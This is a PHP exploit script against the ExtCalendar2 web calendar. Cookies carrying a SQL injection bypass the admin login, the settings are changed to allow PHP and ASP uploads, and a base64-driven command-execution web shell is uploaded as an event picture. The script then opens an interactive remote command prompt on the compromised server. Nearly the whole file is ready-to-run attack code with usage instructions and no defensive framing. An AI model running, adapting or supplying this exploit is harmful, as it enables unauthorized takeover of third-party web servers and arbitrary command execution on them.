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<? if(!$argv[1]) die(" Usage : php exploit.php [site] Example : php exploit.php http://site.tld/calendar/ "); print_r(" # Exploit....: [ ExtCalendar2 (Auth Bypass/Cookie) SQL Injection ] # Author.....: [ Lagripe-Dz ] # Date.......: [ 05-o6-2o11 ] # Twitter ...: [ @Lagripe_Dz ] # HoMe ......: [ Sec4Ever.com & Lagripe-Dz.org ] # Download ..: [ http://sourceforge.net/projects/extcal/ ] # Video .....: [ http://www.youtube.com/watch?v=2aatog92oqU ] -==[ ExPloiT ]==- javascript:document.cookie=\"ext20_username=admin ' or '1'= '1\"; javascript:document.cookie=\"ext20_password=admin ' or '1'= '1\"; -==[ Start ]==- "); $target = $argv[1]; if(!extension_loaded("curl")){ die("error::cURL extension required"); } # first get cookie prefix from page source ( xxx_username by default > ext20_username ) preg_match_all('#extcal_cookie_id = "(.*)"#', DzCURL($target,0,0) , $prf); $prefix = $prf[1][0]; # header .. $header[] = "Cookie: ".$prefix."_username=admin ' or '1'= '1; ".$prefix."_password=admin ' or '1'= '1;"; # check if it's work by looking for [ logout ] echo (eregi("logout", DzCURL($target,0,$header))) ? "# Login :D\n":die("# Failed : Can't Login"); # data of new settings with allowed php extension $new_settings = Array( "calendar_name" => "Calendar name","calendar_description" => "Calendar description", "calendar_admin_email" => "Calendar Administrator email","cookie_name" => "ext20", "cookie_path" => "/","debug_mode" => 1,"calendar_status" => 1,"lang" => "english", "charset" => "language-file","theme" => "default","timezone" => 1,"time_format_24hours" => 1, "auto_daylight_saving" => 1,"main_table_width" => "50%","day_start" => 1,"default_view" => 1, "search_view" => 1,"archive" => 1,"events_per_page" => 5,"sort_order" => "ta", "show_recurrent_events" => 1,"multi_day_events" => "all","legend_cat_columns" => 5, "allow_user_registration" => 1,"reg_duplicate_emails" => 1,"reg_email_verify" => 1, "popup_event_mode" => 1,"popup_event_width" => 1,"popup_event_height" => 1, "add_event_view" => 1,"addevent_allow_html" => 1,"addevent_allow_contact" => 1, "addevent_allow_email" => 1,"addevent_allow_url" => 1,"addevent_allow_picture" => 1, "new_post_notification" => 1,"monthly_view" => 1,"cal_view_show_week" => 1, "cal_view_max_chars" => 100,"flyer_view" => 1,"flyer_show_picture" => 1, "flyer_view_max_chars" => 100,"weekly_view" => 1,"weekly_view_max_chars" => 100, "daily_view" => 1,"daily_view_max_chars" => 100,"cats_view" => 1,"cats_view_max_chars" => 100, "mini_cal_def_picture" => 1,"mini_cal_diplay_options" => "default","mail_method" => "smtp", "mail_smtp_host" => 0,"mail_smtp_auth" => 1,"mail_smtp_username" => 0,"mail_smtp_password" => 0, "max_upl_dim" => 99999999999999999,"max_upl_size" => 99999999999999999,"picture_chmod" => 755, "allowed_file_extensions" => "PHP/PY/PERL/HTACCESS/ASP/ASPX","update_config" => "Save New Configuration"); # post data and check if settings updated and php added echo (eregi("<strong>.*</strong>", DzCURL($target."admin_settings.php",$new_settings,$header))) ? "# Settings Updated :D\n":die("# Failed : can't update settings"); # get event id for connect 2 backdoor $events = DzCURL($target."admin_events.php?eventfilter=0",0,$header); preg_match_all('#edit&id=(:?[0-9]+)#' ,$events ,$r ); # backdoor xD $bd = "<? echo Exe(base64_decode(\$_GET[dz])); function Exe(\$command) { if(function_exists('passthru')){\$exec = passthru(\$command);} elseif(function_exists('system') && !\$exec){\$exec= system(\$command); } elseif(function_exists('exec') && !\$exec){exec(\$command,\$output);\$exec=join(\"\n\",\$output);} elseif(function_exists('shell_exec') && !\$exec){\$exec=shell_exec(\$command);} elseif(function_exists('popen') && !\$exec){\$fp = popen(\$command,\"r\"); {while(!feof(\$fp)){\$result.=fread(\$fp,1024);}pclose(\$fp);}\$exec = convert_cyr_string(\$result,\"d\",\"w\");} elseif(function_exists('win_shell_execute') && !\$exec){\$exec = winshell(\$command);} elseif(function_exists('win32_create_service') && !\$exec){\$exec=srvshell(\$command);} elseif(extension_loaded('ffi') && !\$exec){\$exec=ffishell(\$command);} elseif(extension_loaded('perl') && !\$exec){\$exec=perlshell(\$command);} elseif(!\$exec) {\$exec = slashBypass(\$command);} elseif(!\$exec && extension_loaded('python')) {\$exec = python_eval(\"import os pwd = os.getcwd() print pwd os.system('\".\$command.\"')\");} elseif(\$exec){return \$exec;} } ?>"; # make bd file_put_contents("dz.php",$bd); # new event with php backdoor $post_bd = array( "mode"=>"edit","id"=>$r[1][0],"title"=>"blabla", "description"=>"bla bla bla ,,,","cat"=> 1, "day"=> 22,"month"=> 11,"year"=>2011, "picture"=>"@".realpath("dz.php"), "submit"=>"Update Event"); # post backdoor & check echo (!eregi("<strong>Errors</strong>", DzCURL($target."admin_events.php",$post_bd,$header))) ? "# Backdoor uploaded :D\n":die("# Failed : can't upload Backdoor"); @unlink("dz.php"); # del backdoor after uploading # looking for backdoor preg_match_all('#upload/(:?[a-z0-9]+)_dz.php#' ,DzCURL($target."admin_events.php?mode=view&id=".$r[1][0],0,$header) ,$r2 ); echo (!$r2[0][0]) ? die("# Failed : Backdoor not found !"):""; # connecting with backdoor :P while(1) { fwrite(STDOUT, "\ncmd~# "); // (trim((fgets(STDIN))) == "exit") ? exit:""; // exit from loop $cmd = base64_encode(trim((fgets(STDIN)))); echo DzCURL($target.$r2[0][0]."?dz=".$cmd ,0,0); } # function ... function DzCURL($url,$posts ,$header){ $curl=curl_init(); curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); if(is_array($header)){ curl_setopt($curl, CURLOPT_HTTPHEADER, $header); } curl_setopt($curl,CURLOPT_URL,$url); curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 DzCURL =)'); curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); if(is_array($posts)){ curl_setopt($curl,CURLOPT_POST,1); curl_setopt($curl,CURLOPT_POSTFIELDS,$posts); } curl_setopt($curl,CURLOPT_TIMEOUT,5); $exec=curl_exec($curl); curl_close($curl); return $exec; } # _EOF ?> |
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